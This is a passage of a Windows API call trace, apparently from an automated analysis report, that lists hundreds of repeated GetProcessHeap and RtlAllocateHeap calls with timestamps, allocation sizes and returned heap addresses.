RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aee98 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b15d0 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeea8 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b15f8 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b30 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2e) returned 0x9b4d10 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b40 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22) returned 0x9b8390 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b50 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22) returned 0x9b83c0 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b60 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2e) returned 0x9b4cd8 [0143.612] GetProcessHeap () returned 0x990000 [0143.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b70 [0143.612] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af238 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b80 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b83f0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8b90 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af258 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ba0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9ae048 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8bb0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1620 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8bc0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4ca0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8bd0 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22) returned 0x9b8420 [0143.613] GetProcessHeap () returned 0x990000 [0143.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8be0 [0143.613] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a) returned 0x9b4c68 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8bf0 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1648 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c00 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9ae000 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c10 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a) returned 0x9b4c30 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c20 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2e) returned 0x9b4f08 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c30 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b1670 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c40 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af278 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c50 [0143.614] GetProcessHeap () returned 0x990000 [0143.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af298 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c60 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a) returned 0x9b4ed0 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c70 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x24) returned 0x9b8450 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c80 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x32) returned 0x9b64e8 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8c90 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b8480 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ca0 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b84b0 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8cb0 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b84e0 [0143.615] GetProcessHeap () returned 0x990000 [0143.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8cc0 [0143.615] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b1698 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8cd0 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b16c0 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ce0 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b16e8 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8cf0 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x36) returned 0x9b6528 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d00 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af2b8 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d10 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1710 [0143.616] GetProcessHeap () returned 0x990000 [0143.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d20 [0143.616] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1738 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d30 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1760 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d40 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1788 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d50 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9b8510 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d60 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4e98 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d70 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x24) returned 0x9b8540 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d80 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b17b0 [0143.617] GetProcessHeap () returned 0x990000 [0143.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8d90 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4e60 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8da0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2e) returned 0x9b4e28 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8db0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x34) returned 0x9b6568 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8dc0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b17d8 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8dd0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b1800 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8de0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af2d8 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8df0 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af2f8 [0143.618] GetProcessHeap () returned 0x990000 [0143.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e00 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b1828 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e10 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adee0 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e20 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1850 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e30 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af318 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e40 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1878 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e50 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2e) returned 0x9b4df0 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e60 [0143.619] GetProcessHeap () returned 0x990000 [0143.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x32) returned 0x9b65a8 [0143.619] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e70 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b18a0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e80 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b18c8 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8e90 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af338 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ea0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b18f0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8eb0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22) returned 0x9b8570 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ec0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adf88 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ed0 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af358 [0143.620] GetProcessHeap () returned 0x990000 [0143.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ee0 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1918 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ef0 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af378 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f00 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b1940 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f30 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adec8 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f40 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af398 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f50 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f60 [0143.621] GetProcessHeap () returned 0x990000 [0143.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b1968 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f70 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b1990 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f80 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b85a0 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8f90 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af3b8 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8fa0 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b19b8 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8fb0 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x12) returned 0x9af3d8 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8fc0 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x34) returned 0x9b65e8 [0143.622] GetProcessHeap () returned 0x990000 [0143.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8fd0 [0143.622] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9330 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8fe0 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b9358 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b8ff0 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9380 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9000 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b93a8 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9010 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b93d0 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9020 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af3f8 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9030 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b93f8 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9040 [0143.623] GetProcessHeap () returned 0x990000 [0143.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b9420 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9050 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1c) returned 0x9b9448 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9060 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9070 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9470 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9080 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9498 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9090 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af418 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90a0 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b94c0 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90b0 [0143.624] GetProcessHeap () returned 0x990000 [0143.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af438 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90c0 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9b94e8 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90d0 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b85d0 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90e0 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9af458 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b90f0 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9510 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9100 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9af478 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9110 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9af498 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9b9120 [0143.625] GetProcessHeap () returned 0x990000 [0143.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9b9538 [0143.626] GetProcessHeap () returned 0x990000 [0143.626] RtlAllocateHeap (HeapHandle=0x990000, 